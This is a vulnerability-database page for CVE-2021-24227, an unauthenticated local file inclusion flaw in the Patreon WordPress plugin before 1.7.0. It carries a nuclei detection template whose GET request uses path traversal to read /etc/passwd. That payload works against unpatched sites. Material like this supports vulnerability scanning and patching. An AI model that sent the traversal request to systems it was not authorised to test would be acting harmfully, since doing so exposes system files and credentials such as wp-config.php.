HexBrain

Browse / CVEs / CVE-2021-24227

CVE-2021-24227· patreon / patreon wordpress· CWE-200

Patreon WordPress <1.7.0 - Unauthenticated Local File Inclusion

highseverity
7.5CVSS score
6.8%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise of the system.

Fix

Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2021-24227 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-24227

info:
  name: Patreon WordPress  <1.7.0 - Unauthenticated Local File Inclusion
  author: theamanrawat
  severity: high
  description: Patreon WordPress before version 1.7.0 is vulnerable to unauthenticated local file inclusion that could be abused by anyone visiting the site. Exploitation by an attacker could leak important internal files like wp-config.php, which contains database credentials and cryptographic keys used in the generation of nonces and cookies.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise of the system.
  remediation: |
    Upgrade to Patreon WordPress plugin version 1.7.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f62df02d-7678-440f-84a1-ddbf09364016
    - https://wordpress.org/plugins/patreon-connect/
    - https://jetpack.com/2021/03/26/vulnerabilities-found-in-patreon-wordpress-plugin/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24227
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-24227
    cwe-id: CWE-200
    epss-score: 0.06755
    epss-percentile: 0.94024
    cpe: cpe:2.3:a:patreon:patreon_wordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: patreon
    product: patreon_wordpress
    framework: wordpress
  tags: cve,cve2021,wordpress,patreon-connect,unauth,lfi,patreon,wp,wpscan,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?patron_only_image=../../../../../../../../../../etc/passwd&patreon_action=serve_patron_only_image"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from